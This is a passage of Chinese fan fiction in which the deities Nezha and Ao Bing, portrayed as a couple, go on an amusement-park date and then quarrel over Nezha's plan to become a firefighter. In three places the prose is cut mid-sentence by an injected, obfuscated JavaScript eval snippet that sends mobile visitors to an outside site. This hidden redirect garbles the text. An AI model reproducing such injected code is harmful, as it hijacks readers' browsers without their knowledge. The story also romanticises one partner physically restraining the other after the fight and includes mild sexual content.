小龙朝莲藕抛去寻问的眼神,眼里全是压抑不住的跃跃欲试。 “我没意见。” “妹妹你要怎么拍?”敖丙便直问了。 二人被小摄影师带着去了些好看的地方,女孩轮流用着手机和拍立得给他们拍。 “能不能,来点互动,那种爱意绵绵的感觉。”女孩眯着眼睛看取景器,嘴里指挥到,没有掺杂私人情感,眼里全是对出片的渴望。 两位神明肢体十分僵硬,这还是他们头一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553431|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被其他人要求拍照,一时间想不出来什么动作。 女孩把自己和男朋友头上的情侣发箍脱下来,塞到敖丙怀里:“一人一个,戴上,快!卖气球的要来了!” 男朋友身上挂满了两个人的包,cosplay衣架:……?(并拍下女朋友辛勤工作的模样) 明艳的阳光透过绚丽多彩的气球,化作五颜六色的光束,打在两位神仙的背后。 一张是敖丙给哪吒戴上狐狸耳朵,敖丙比哪吒矮半个头,哪吒却不肯弯下腰来,小龙只能踮起脚尖给哪吒带好。 一张是两人侧对镜头亲吻着,敖丙一手搭着哪吒肩膀,哪吒则环着他的腰肢,他们还用手比了个爱心作为前景。 都是微微仰拍的角度。 还有一张是在云霄飞车下拍的,后面过山车正好飞驰而来,将两人发丝扬起。他们正对着光,朝镜头比着剪刀手——这个时候他们已经完全放开来了,眼睛都笑成缝,夏日的风拂面而来,将衣摆变成它的模样——就此永恒的被定格了。 “其他成片我回家电脑调一下颜色再返给你们。”拍完照女孩收拾东西,正准备拉着男朋友继续玩,“对了,你们是明星还是网红呀?” 敖丙被这问题逗笑了:“都不是,我们就是普通人。” “你们长得真好看啊。”女孩生性热情,直视这二位帅哥,发自真心赞叹道。 情侣和他们告别时,那男生终于鼓起勇气过来搭话了。 “哥们,你长得帅炸了!” 哪吒挑眉看着这小孩儿,回了句谢谢。 “你也是,不是那种帅,但是很美,跟……跟画似的!”男孩想不到用什么形容词,只能朝他们竖着大拇指,就此别过了。 哪吒手里拿着女孩送的五六张拍立得,爱不释手,这玩意和上世纪的胶片照片有点像,但少了些肃穆感,二人在相纸里姿态亲昵。 照片是个很神奇的东西,能把一切定格住。哪吒把几张照片翻来覆去的看,决定回家就下单一个拍立得。两个人几千年来留下的照片未免太少了点,总不能每次追忆往昔都靠脑子。 敖丙拿着一手一个双球冰淇淋回来了,四个雪糕味道都不一样,“天气热,降降温。”哪吒小心翼翼把相片放在背包最里面的硬夹层,生怕折了这些宝贝。 “接下来去哪?”哪吒咬了口雪糕,柠檬马卡龙味,齁甜,是小龙偏爱的口味。 “漂流。”小龙靠过来,在他的雪糕筒上狠狠咬了一口,黄色的雪糕球眨眼没了一半,“嘶-嘶-”小龙被冰淇淋冰到了,感觉脑子都被冰透到。 “慢慢吃,还想吃就买。”哪吒抓着小龙右爪,把那边的雪糕也尝一口,正正咬在小龙的牙印上,“这是什么味道,还挺好吃。” “夏威夷果仁。”小龙改变了吃法,拿舌头舔,舌尖微卷,舔舐下一小块雪糕含入口腔,像小猫喝水一样。哪吒趁着敖丙专心吃雪糕,拿起手机就是一顿连拍。 “你好看,我多拍点。” 小龙朝镜头比着耶,嘴里还含着雪糕,双眸明动带着雀跃。但小龙觉得光拍自己没意思,掏了自己手机靠到哪吒胸前。 “你吃一口雪糕。”敖丙下令到。 哪吒不解,但照做。 小龙是拍的视频。 视频里,他俩唇周都是冰淇淋的痕迹,略显滑稽幼稚。两人看着对方的样子大笑着,眸子里都含着情。 27.520特辑 游乐园下 二人没买雨衣,他俩已经玩疯了,浑身湿透又如何,这天气半小时就能干透。哪吒很有先见之明,拿着“速优通”一下子就排到队头。机动设备发出咔嗒巨响,将载着二人的船状过山车一点点送至顶端。 敖丙一直紧抓着哪吒的手,红唇激动地笑着,天气热,小龙额上都挂着汗珠,衬得人像刚从水里捞出来的海鲜,鲜甜美味。哪吒看着小龙眼里放了光,跟个手电筒似的。 到了顶峰,过山车从百米高空飞速冲下,风在耳边猎猎作响,景物化作残影飞出视线之外。哪吒牵着二人的手,十指相扣着举了起来,让风亲吻二人指尖。 那水转瞬就撞在船头,掀起巨幕落在二人身上,恍若瀑布般捶打着他们,把他们从头到脚淋了个透彻。 “芜————!”倘若现在小龙有尾巴,必定会开心得左右晃来晃去,被水幕浇了个透彻的体验实属新奇。 “爽————!”二人孩子气上来了,玩水确实是件快活事儿。 哪吒本以为自己对这种机动乐园不感兴趣的,可能是平时压抑得多了,不曾放肆尖叫过,今天便和敖丙一起叫了个爽。 “不对啊。你是龙,玩水也会觉得开心吗?”哪吒还以为小龙平时玩水玩惯了,对这种水上项目不来趣。 “我那是在海里游,又不是在浪尖玩儿,哪能一样呢。”敖丙拉着他往水上激流的廊桥走去,“更何况有你在旁边,更好玩了。” 敖丙掏出手机,一手把哪吒扯过来抱在怀里,顺带踹了踹哪吒小腿。哪吒识相的弯了弯膝盖,好让摄像头拍到完整的自己。 正巧一辆过山车冲下,水幕像海啸般朝二人背后扑来。 “咔嚓。” 快门定格,二人被大浪拍得往前一步,背景正巧就是奔涌的浪花,水珠在大太阳下像钻石版闪耀着火彩,见证二人恒久的爱情。两人开怀大笑着,眼睛都眯成缝,只剩嘴巴大张着,像鲨鱼那样清晰可见。 拍完哪吒就接过手机看成片了,看着照片他联想到了什么,忽而噗嗤一笑。 “怎么样,拍的好看吗?”小龙从他腋下钻出来,冒头打量照片。 “好看。”哪吒双击把敖丙那部分放大,怼到敖丙眼前,“看,你像条小美人鱼。” 敖丙把自己挂在哪吒身上,任由干燥的热风将二人衣服烘干:“确实有点。”小龙歪头拿圆圆的水青色眸子看着哪吒,“哪吒,我饿了,渴了。” 哪吒便把人压到栏杆上,腿纠缠着,他一手扣住敖丙后脑勺,一下一下吮吸啃咬着小龙。今日入园的大多都是情侣,没什么要顾忌的,玩着玩着就热吻的人一大堆。小龙平时不爱在外面亲人,他怕羞,可今天就不一样了,主动得很,喉间都外溢着软音,眸子沾上水汽,好像被哪吒欺负的狠了,撒着娇看着哪吒。 “唔……”敖丙还拿舌头舔舐他的上颚。软肉一下子被粗糙的舌头碾着、挑逗着,就要擦枪走火了,哪吒猛地一撑栏杆中止亲吻,可小龙不乐意,还黏上来揽着他的腰一下一下捏着,抬头寻着哪吒的唇索吻。 哪吒一手附上小龙口鼻,拒绝继续亲亲。左手在身后狠狠掐了一下小龙软臀:“现在不行,晚上吧。走,吃点东西。” “你确定要在这里吃饭?”小龙被哪吒牵到了海洋餐厅前。 “这个最近啊。”哪吒不以为然,“走呗,我也饿了。” 好死不死,哪吒还挑了个窗边位——紧挨着那大鱼缸。于是一整个海缸的水族全部吻了上来,敖丙只能疯狂朝鱼啊鳐啊鲨啊使眼色,让它们快些游走,别全停在他们这位置蛄蛹,这餐厅可不止他们一对情侣在用餐,太引人注目了。 “诶,我还没拍照呢怎么全跑了!”哪吒光顾着吃,又觉得挤眉弄眼的小龙有趣极了。 “你吃你的,到时候我再叫它们游回来给你当背景板。”敖丙扶额,被一群子民围观和爱人就餐什么的还是太羞耻了。 后来那群鱼又听命游了回来,把员工们看傻眼了。 哪吒决定得寸进尺:“下次能不能去海里面拍照?” “可以。”区区这样一个要求,东海三太子不以为然。 哪吒得了允诺,挪挪屁股,靠在在他耳边低。小莲藕声音很好听,清脆利落,对着敖丙说话时尾音会拖长些,显得温柔宠溺。热气喷在耳廓上,吹红了皮肤。 “我要你变成龙形陪我拍照。”末了还用舌尖舔了下耳廓,黏腻的水声直冲天灵盖,色/情得很,把敖丙挠得浑身震颤一下,软倒在他怀里。 “这……”敖丙犯了难,这样的话得去比较偏远的无人海域才能拍了,要不然第二天他就成微博头条了。 “好不好嘛……”哪吒撒起娇来,他知道敖丙最吃他这一招,遂捏着敖丙脸蛋就是一顿狂亲,亲得嘬嘬响,“你最好了……”又在眼尾轻啄,他知道小龙最喜欢被亲这里,所以平时他就忍着不亲,当做杀手锏。 小龙半眯着眼,在猛烈攻势下落了下风,当然也是被亲得开心了:“好好好,小龙去海里陪你拍照。”又一手捂住小莲藕的嘴,“你擦嘴了吗你就亲!” “擦了擦了!”小莲藕心虚,连忙拆开湿纸巾把小龙脸蛋上的油渍擦得干干净净。 吃完饭,敖丙决定先发个朋友圈,免得晚上干些其他的给忘了,错过日子就失了些仪式感。 他们朋友圈人不多,龙王、太乙真人、猴子、三眼儿,还有一些相处得好的同事。发之前二人先把前些朋友圈帖子给看了。 太乙真人现在是首屈一指的心外科主刀,朋友圈是参加各种教学和疑难手术总结。朋友圈里他飞去外国主刀了,这疾病名字长的敖丙哪吒都看不懂,虽然分明就是汉字拼起来的。 阮警官发了条宣传片,反诈的。 孙大圣发了直播链接,点进去是他在给猴子们喂食,游客里三层外三层包着。那些猴子可是一点都不皮,聪明又乖,是流媒体里的动物明星们。 杨戬发的live图,像是路人拍的返图,配文就仨字:帅爆了! 地点像个宠物公园,live图里,杨戬压下重心将飞盘飞出去,啸天是细犬,线条流畅优美而富有动感,它以极快的速度飞窜出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574299|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,用力一蹬,一个回马枪便在半空中稳稳接住飞盘后稳稳落地,惹来一众人犬惊诧又羡慕的目光。 第二张是啸天朝杨戬撞来,尾巴摇的像龙卷风似的,疯狂舔着杨戬,舔够了又叼着飞盘压下前半身邀请杨戬继续陪他玩,还一整个狗原地像旋风般转了好几圈,又疯狂刨地——看得出来啸天很兴奋了。 敖丙看着啸天的行径锐评到:“你觉不觉得啸天那个兴奋的步伐,很像咱们在广东生活时打的蟑螂……” “……”哪吒某些不好的记忆飞奔出来,又想起来前几天敖丙给自己分享的一个搞笑视频,“这算是,蟑螂跑法吗?”二人挤在卡座里,笑成一团。 二人同时按下发布键,连照片排版都是相似的,只是最中间那张都是对方。发完,二人又迅速给对方点了赞,而后便又打了两个甜筒去看烟花了。 夜幕降下,星河与月亮揭开面纱,高挂在城堡之上。二人早就寻了个好地方等着烟花汇演。 那烟花美极了,随着一声声脆响被打上夜空,化作漫天七彩星辰落下,有如七彩银河,有如碎金点点,焰火如雨,落在二人眸中,停在二人心中。 二人互相依偎着彼此,他们没有像其他游客般拿起手机记录。只是静静看着烟花在高空炸开,享受片刻闲暇温情。 本以为今日约会就此结束,这世外桃源却响起来优雅的小提琴曲——原来是今日的特别节目。周围已经有情侣跳起来了,众人围成圈,随着音乐肆意跳着——没什么章法,只是把爱意用肢体直白地倾诉。 哪吒抢先一步走在敖丙前,右手抚胸鞠着躬,彬彬有礼问:“不知华盖星君可愿赏脸与我共舞一曲?” 左手就停在敖丙面前,决策权永远都在敖丙这里。 敖丙不是武将,他皮肤光滑细腻,修长的手指现正轻轻搭在那长满茧子的糙手中,另一手则搭在小莲藕的腰上:“能与中坛元帅搭舞,何其荣幸。” 其实二人根本就不会跳,全是看那些男女之情电影学的——能学到点皮毛。他俩互相踩着对方的脚乱跳一通,倒也乐得自在,含情的眸子直勾勾看着彼此,浓浓的情意化不开,缠得两人靠得越来越近,直至唇齿相贴。 最后的烟火如穿云箭般直窜云霄,照亮了云层,花火连玉盘都比了下去。粉的、紫的、青的、金的……轮番交替着,映在二人脸上,如梦似幻。 那烟花连接着天地,化作金光缕缕,金光下是梦幻而唯美的接吻,绵长而温柔,恍若要将这柔情尽数交换。 千年前元宵夜,他们曾看东风夜放花千树,更吹落,星如雨。 也曾看过铁花被击上夜空,金光与热气裹挟着人间烟火,把他们卷入尘世。 千年后,他们已喜结连理,七彩焰火照亮夜空,亦亮了二人脸庞,情意相连,人间万家灯火与那繁华的焰光,不及爱人星眸半分,让人沉醉而不能自拔。 他们是彼此在世间的唯一锚点。 “我喜欢你。” “我也喜欢你。” 欲买桂花同载酒,故人依旧,款款深深。 28.哪吒,我恨你。 盛夏时节,知了叫个不停,敖丙生来怕热,一天天的窝在空调房里不想动弹,懒洋洋的,家里浴缸常蓄了满缸的水,哪吒常常去厕所就能随机刷新到一只泡澡小龙。 哪吒蹲在浴缸旁边撩起小青龙的头发把玩:“要不下次换个别墅,建个游泳池?” 敖丙在水下咕噜噜地冒着泡,又浮上来攀着浴缸边缘,眸子含着笑意看着小莲藕,尾音拖得长长的,像只勾人的海妖:“你泳池我也游不了多少来回。”他龙身如今快有40米了,想要畅游还得回海里。 “话说你能不能化回一条几米长的小龙。” “能是能,但是不舒服。”小龙又钻回水里纳凉了。 好吧,小龙说变小不舒服,那哪吒只能把坏主意按下去了。 夏天的雨总是来得突然,一如人生的变故,杀得人猝不及防。 在一个闷声行雷的日子,哪吒找定新工作了,开心过了头,哪吒遂爬上床把半梦半醒的小龙掰过来,敖丙在怀里眯着眼打着哼哼,还想睡点回笼觉。 “我大概要去做消防员了。”哪吒把人抱在怀里,一口一口亲着。小龙被亲舒服了,迷蒙间嗯了声,又在有力的结实臂弯里沉沉睡去了。 敖丙起床后才回过神哪吒说了啥,慌忙去查消防员的工作性质。 “你做了消防员,是不是一年就只能集中休假20天,平常都在队里待命。”敖丙扒拉几口菜,就失了胃口,把筷子撂桌子上,语气算不上温柔。 “我这还八字没一撇呢,人家要不要我也说不定。”哪吒避重就轻回答,其实只是还没签下公务员合同。 小龙嘴巴都撅起来了,责怪到:“我不要一年到头都见不了你几次。”他也不知道自己是怎么了,就是想每天一睁眼就看见小莲藕在身旁,若不能天天见,至少一周见上一次也好。 他平时睡觉爱把自己靠在哪吒胸口,嗵嗵、嗵嗵,那是心脏在跳动,沉闷有力,让他心安。这已经成了习惯,若是让他日日夜夜独守空床,这感觉就像生生把身体的一部分剥离出去。 “你平时可以来队里面找我呀。我也不是要日日出班,总有时间和你在一起的。”哪吒是真的喜欢消防员的工作,他不怕火,现今高层火灾救人难,他想能救一个是一个,但碍于新规定不让他们直接用神力救人,只能选择消防路。他生来就爱刺激,千七百杀劫注定他一生不可能在安稳中过活。但似乎小龙并不喜欢他走冒险的路。 事到如今哪吒还抓不住重点,顾左右而言他。 小龙挤出一个冷冷的笑容,皮笑肉不笑,让哪吒感觉自己回到了警察时光,只不过这下坐上老虎凳的人变成了自己。 “家属院,我也住不得。”敖丙这次是真的不开心了,眸子失了往日的温柔,甚至染上了些许的怒气。这个时代对于他们这种人确实是好了许多,不再需要过度遮掩,但仍不会承认伴侣身份。 消防队都有家属院,婚后配偶可以住进来,算作一个人性化的管理。但敖丙是男的,是条公龙。他的性别不被世俗婚姻认可。若哪吒真去了,大概连着快十几年都过着自己一个人独守空房的日子,只能靠打视频缓解自己内心的荒芜,虽然一年有20天能腻歪,但那对于敖丙来说不过是杯水车薪。 百年前在荷花湖苦苦等待哪吒醒来的岁月仍历历在目,那种煎熬的痛苦他不想再经历一次了。那百年时光里,他只能一个人在偌大的湖里对着闭合的荷花自言自语着,世界寂静无声,没有回应。虽然这次他知道哪吒的归期,也不再是单方面的交流,可心里就是憋着股气,一下一下钝痛着心脏。 哪吒自知理亏,知道这份工作意味着分别,但他确实很想干。他侥幸的想,一年有20天集中休假就足够了,平时若有什么活动,敖丙也能来队里聚聚。更何况这是一份伟大的职业,他搞不懂敖丙为什么不支持他了。区区干十几年的工作很快就结束了,现在又能天天打视频聊天,四舍五入就是二人没分别,往前等个几百年都等来了,如今这不小事儿吗! 敖丙咬着唇死死盯着哪吒,像要把这莲藕钉在家里似的。可哪吒竟然不敢看他,眼神躲闪着。堂堂中坛元帅竟也有心虚不敢直视他人的一天。 两个人都不甘心。 后来哪吒紧抿着唇抬起头认真注视敖丙,眼神虽有疼惜不忍,却没有丝毫退让之意。 “对不起……”哪吒无措地抓着短裤,却说不出其他安慰的话语。 敖丙气得唇都在抖,他知道哪吒死犟,莲藕定下的主意,谁都改不了。那年他执意欠下人情,还人情途中险些丢了命;又承诺定会重塑龙筋,生生让敖丙等了他百年。这杀神肯定又是想着十几年不算什么,要自作主张把他一个人撂下了。 敖丙没和人争吵过,此刻也不知道能说些什么,只得愤而起身离座夺门离去,把那防盗门砸出巨响,却好似打在了哪吒身上似的,把哪吒吓得浑身一颤。哪吒不敢追出去,任由敖丙在闷热的夜晚离家出走。 哪吒闷头收拾残羹剩饭,才发现敖丙的筷子被生生掰断了,那可是铁制的…… 哪吒把碗搓了又搓,心思不在洗碗上,把碗洗碎了也浑然不觉,等到余光看了满池血红色才知道自己被瓷片划伤。 心里处处挂念着小龙。 天气热得很,小龙本就怕热,不会中暑吧。不会的,他聪明,肯定会找个麦当劳什么的坐下乘凉。 敖丙晚上根本没吃几口饭,哪吒看了看钟,夜11:30,小龙本就贪嘴,这个时辰早该饿了,他手机有电吗,有没有买吃的,还是还在置气,宁肯饿着? 他生得好看,哪吒一起陪敖丙出去玩,有时候自己去买东西,一回来就看见敖丙被要联络方式,男的女的都有。干警察的后遗症来了,哪吒开始担心敖丙会不会被流氓搭讪,他一个谦谦君子,应付得来吗? 两点了,敖丙没回来,哪吒打过去的电话也不接、微信也不回,天气却异常的愈发燥热。 他烦躁地刷手机却什么也看不进去,忽而天上一声惊雷炸下,窗外转瞬就下起倾盆大雨,闪电不住劈下,将黑夜一瞬瞬的照亮,把房间映照得恍若黑白胶片电影。雨滴打在玻璃窗上,划下长痕,像是泣血般落到地上,渗人得很,磅礴大雨像是降下天罚,又像天神在哭。可是外头温度却不见降,那温度直指40度,又闷又热又湿,好似在蒸人似的。 三点,雨越下越大,丝毫没有停的意思,雷声连连。哪吒辗转反侧,习惯性往身边一抱,摸了个空。 枕边空了,心头也空了。 “砰!”防盗门被重重砸上,哪吒按耐不住内心焦躁,去找敖丙了。 凌晨的城市静悄悄的,哪吒便把混天绫放了出来去寻小龙。 那小龙就一个人坐在大湖旁,腿垂在岸边,湖水被风刮起了浪,一下一下安抚着小龙的脚背。他任由雨打风刮,瘦削的背影孤独伫立着,是夜色里唯一一抹白色。 白色的衣服被暴雨打湿了,还被泥土溅上星星点点,布料紧紧贴着肌肤,透着肉色。热雨化成水珠在白皙的手臂上接连滚落,头发也湿透了,胡乱披得到处都是。他头发长,发尾甚至落在地上沾了泥土,那清冷又爱干净的人如今看起来狼狈不堪,带着些冷厉,活像座被流放的神像,显得可怜又可畏。 小龙一动不动,也不知一个人在这里坐了多久了,一直望着变幻莫测的水波。 水波还挺像他和哪吒的感情的,放刚被抽龙筋的时候,他怎么也想不到会有一天自己会喜欢上他,那时日日躲着那杀神,夜夜做着噩梦,日夜思念东海故乡,却不能走离软禁的“华盖星君府”半步。直到时光流转,恨意被爱意糅杂又盖去,成了如今恩爱模样,本以为年年岁岁都能互相守着对方看海枯石烂,却也不曾想到有朝一日,哪吒会狠心让他过上十几年跟守寡一样的生活。 莲藕终究是没有心的,他还以为自己这千百年能把空心的地方拿爱填满,是他自作多情、不自量力了。 一道天雷劈下,劈到湖中间,煞白的闪电把敖丙肤色衬得雪白吓人。 哪吒在后面的树干躲着偷看,他看不清小龙神情,只知道敖丙一直垂着头,像被下了定身咒般。 脚步声响起,敖丙循声望去发现来人不是哪吒,猛地抬手把泪悉数抹去。 “小伙子,大雨天的坐湖边多危险呐。”原来是这处的保安过来劝人了,“和女朋友吵架啦?” “不是女朋友……” “哎呀,吵架了也不能出来淋雨啊,你看着雷劈得,夏天的雨虽然热,但淋了也容易生病,快些回家吧。”老大爷走进想把敖丙掺起来,还没伸手,敖丙就自个儿起来了。 “我没事,多谢您关心,我现在就走。”敖丙又怎不知道这保安是怕他寻短见呢,这湖虽只有一两米深,但也并非不能溺死人。暴雨天在这任性确实是有失礼数了。身为神明却让凡人担心,他这神仙实在当得有点差劲。 敖丙往其他地方走了,却并不是家的方向。哪吒便隔着个百米左右跟着,也不说话。 两人一前一后走了差不多一两公里,被雨水浇得透彻,哪吒明明带了伞却不打,好像在演什么虐恋情深偶像剧似的。 “哪吒你还要跟我到什么时候!”敖丙大喝一声,把哪吒吓了一跳。 小莲藕垂着头快步走到小龙前好声好气哄着:“别生气了,瞧你淋的,回家洗个热水澡,好吗。”一边就要牵起敖丙的手拉住回家。 明明哪吒抓得很紧,都在手腕上落了红痕,小龙却能狠狠甩开来。 “我不回家!”敖丙眼眶都红了,狠狠盯着哪吒,“反正过阵子家里就没有你了,回不回也没什么所谓了!” “谁说我不回家的!一年20天休假你不是也知道的吗!”哪吒用力摁着敖丙肩膀不让他走,“咱们平时打视频,又能线上聊天!这和平时有什么区别!” “就是不一样!平时我看得见摸得着,你现在一走就又是十几二十年!”小龙骂着,却带了哭腔,一点都不凶,反倒生出几分让人怜惜的意味。 “你也体谅体谅我好不好?前几天新闻你也看见了,高层失火,云梯上不去,几十条人命活活烧死,你看见心不痛吗!”寂静的夜里只剩下哪吒在吼,十指嵌进敖丙肩膀里,把肉都掐红了。 敖丙又怎么会不心疼凡人受苦受难,他知道消防员的工作和警察一样,伟大而光荣。身为神明,他应该放手让身为中坛元帅又有火抗的哪吒去承担这一份与生俱来的职责;身为国民,他也应该支持消防事业;身为爱人,也应当尊重爱人的抉择。 可是敖丙没想到自己私心竟然这么重,重到想把那属于人间的神明绑在自己身边。 不该是这样的。 “我也心疼啊,我不是不支持你当消防员。只是……”泪水压不住了,溢出,和脸上的雨滴混在一起,又掉落在地上,“可是一年20天真的不够……” “哪吒……我受不了一年只有20天属于我们……”敖丙把手放在哪吒胸脯上,强有力的心脏千年如一日跳动着,哭红的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581660|170142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼看着中坛元帅,“能不能……能不能也考虑考虑我呢……” 哪吒最受不得的就是敖丙哭,他多清高一人啊,若非被逼绝了,绝不落泪。 雷电轰隆隆劈下,热雨像尖刀一样扎在两个人身上,两个神明被浇得狼狈。 “我……”一边是生民受苦与心爱的工作,一边是爱人的恳求,哪吒也是犯了难。 小龙眼睛眼尾都红通通的,泪和雨化作一团不住地流,嘴巴都抿成一条线了。他紧张注视着哪吒最后给出的答案,等着宣判落下。 …… “咱们还有好多好多年呢……”好几分钟后哪吒才做了决定。 话音一落,他就看见敖丙眼里失了神采,看着他的眼神只剩下受伤和失落。小龙不扶着他了,双手自然垂下,还微微发着抖。 是啊,他们还有好多好多年呢。二十年工龄对于他们的寿命来说不过是沧海一粟,与天地同寿的神明又怎么会在意区区二十年时光呢。 哪吒根本就不理解自己,不知道分离对于他而言是多么折磨的一件事。可能是哪吒没经历过几百年的单向等待吧,自己做小龙时是哪吒养大的,虽不能言语,但起码事事给哪吒回应。他还不认事的时候,也不知道以前的记忆,约摸着应该是第三世的前十年,真的把中坛元帅当成自己的父母了,说来也是挺好笑的。抽筋的仇人被认成自己的父母,虽然那时候他早就不恨哪吒杀身之仇了。 “等我干个十五年,我就回家,日日守着你,补回来,好吗?”哪吒让步了,他本是想干满20年的。如今他单膝跪下,双手牵着敖丙,敖丙方才垂下头让他看不见神情,他便索性跪下来了。 “不用……”一道青色的粗雷落下,正正劈在不远的湖心亭,那闪电蜿蜒的向一条巨龙,闪电转瞬即逝了,青色蜿蜒的路径却还映在哪吒眼瞳里。 “你去做消防员吧。”语气冷淡,像在平铺直叙的道别。小龙还不曾用这种语气和哪吒说过话。 敖丙后退一步,不让哪吒牵着自己了。明明只是一步之遥,却好像隔着天堑,把两个人的心隔上防弹玻璃。 “我去天界住两三个月,等你什么时候退休了、不干了,我就回人间。”敖丙突然间觉得天界和人间时间流速不一致实在是一件好事儿,免去了太多等待的苦。 “这样的话我只是等你几个月罢了。”敖丙踏着地面的积水,自错愕着的哪吒身边擦过,带走一阵微风与决绝,鞋子溅起些许泥沙,溅脏了哪吒的下摆。 其实小龙说的就是气话,他再怎么生气,也不可能真的回天界住这么久,人间还需要他治水治风,龙王封了块地给他,就是让他好好担起龙的责任。15年不管不顾人间或许会造成风水大乱,生灵死伤无数。虽然按龙王疼儿子的地步大概率会放条新龙过来顶班。 可中坛元帅却当了真。 敖丙这回是真的伤心了,选择一个人去天上呆上几个月,这就是人间的15年甚至二十年。那他十几年的喜怒哀乐就没办法和敖丙分享了,往前做警察的岁月,有糟心事小龙会倾听,受伤了小龙会帮他包扎,遇难事小龙会帮忙想法子……可这些以后都不会有了。 更可怕的是于他而言这是十五年历练,而对敖丙不过是几个月的等待。十几年足以改变普通人的心性,哪吒也不知道十几年后会不会自己也变了,若是自己变了,变到敖丙也认不出来,小龙还会爱他吗。 会不会自己已面目全非,但敖丙还如十几年前一般站在原地。变数太多,他不敢赌,也不能赌。 “不……”哪吒被自己的推导吓到了,这话说的太绝了,像把利刃般剖开他的心。 哪吒这才发现,原来空心的莲藕是有心的,他也离不开敖丙。 哪吒箭步追了上去,一把把还在疾步离开的敖丙扛起抱着:“我不要你走。” 敖丙像个小孩一样被抱着,使劲想推开杀神,可习武之人的力道大无比,他越挣扎,哪吒就把他禁锢得越紧,抱得他肋骨生疼。双腿够不着地,胡乱扑腾着。 “你放开我!哪吒!”哪吒反倒把他腰掐得更紧了。 双手一下下捶打着哪吒的背。虽收了力,但哪吒并不是感受不到疼痛,背部的疼可以忽略不计,小龙打人能有多疼,不过是装腔作势罢了。但那拳头一下下打在心里,闷得难受。 小龙被扛了五分钟,就挣扎了五分钟,换来的只是肋骨像断了一样的疼和腰上的肉被抓得青一块紫一块。他总不能在这全是监控的人间化成龙身把哪吒打飞,然后自己逃之夭夭吧。 逃离无果,敖丙自知打不过,便伏在哪吒肩膀听天由命了。 哪吒手就放在敖丙背上呢,能确切感受到敖丙在哭,胸脯猛烈上下起伏着。 “我恨你!我恨你!”敖丙委屈地狠了,拳头小力地锤着结实的背肌,小龙放声大哭。 许是知道自己话说重了,敖丙又语无伦次道歉。 “对不起……呜呜……我爱你的……” “可是我好恨……” 哪吒也被说得哭了,嘴唇抿着,热泪淌着,却不敢松了力道,把人颠了颠,不让小龙被扛得难受。又怕敖丙真的跑了,又像几千年前那样用了混天绫系住小龙细细的脚腕,这样的话,小龙逃到哪他都会知道。 “呜呜……我恨你……爱你……”小龙连话都说不清了。 雨还是一如既往的大,狂风也在撕心裂肺呜咽着,湖水溢上岸边,一些浪就追着哪吒的步伐,却抓不住,让哪吒越走越远了。 29.爱是占有的私心 哪吒一脚把门踹开,将敖丙摔在沙发上,还不忘伸手托住人最脆弱的脖颈免得受了伤。 沙发很软,为了方便干活特意选的,哪吒可不怕把小龙摔疼了,谁知还没等小龙坐稳,他就一下子骨碌到沙发角落,把自己像穿山甲一样蜷起来了。哪吒几次想把人掰开来哄,哄不了一点,敖丙已经变成个长青毛的人形龙球了,缩成一团窝在角落。 空气像凝固了一般,酷暑时节却如同寒冰般令人窒息,直到哪吒收拾出一套睡衣让敖丙赶快去洗澡。睡衣摆在身旁,小龙连眼睛都不抬。 “我去房里呆着,你快去,去完我也要洗澡。”哪吒知道小龙还是心软的,只要说出自己也要用浴室,他肯定就不会在这里置气了。 小龙没好气地抓起衣服,狠狠把浴室门带上了,还很用力的落了锁,这还是同居以来敖丙第一次对他设防,往常哪吒经常趁敖丙洗到一半就推门进去来点二人温存。哪吒靠在浴室门上,听着里面水声潺潺,心里很不是滋味。 为什么这次要这么无理取闹?以前不是都好好的吗,做警察时不也经常出差个几个月,怎么这次反应就这么大? 哪吒贴着木门滑了下去,就蹲在门口苦苦思索,却百思不得其解,懊恼地很。 小龙任冷水浇透自己,双手疯狂扯着脚踝上的混天绫,都把皮肤磨红了,那混天绫却好似个恶鬼般缠着他,丝毫不动。 呵,倒是个尽忠尽孝的法宝。 逃不掉了,就像千年前被这东西自水里抄起来一样,他终究是逃不脱这混天绫的束缚。敖丙自嘲一笑抬起头,让花洒把自己淋得无法呼吸。 待到浴缸蓄满了水,敖丙就屏息沉了下去,气尽了才猛地坐起呛咳。也不知是为什么要折磨自己,但就是想这样干了,许是□□的疼痛能减缓内心的折磨。 “敖丙!敖丙你没事吧!”哪吒听得那吓人的咳嗽声,慌了神,疯狂转着门把手。 “滚!”敖丙难得大吼,哪吒被骂得缩了头,不敢再动作了,像个鹌鹑一样缩在门前。 敖丙洗了一个小时,哪吒就在外面蹲了一小时。他开了个社交软件,想着要不询问一下广大网友这是什么情况,集思广益,他总能找到敖丙在犯什么倔。思前想后,发现这东西三言两语讲不清,便打开微信寻求老友相助。 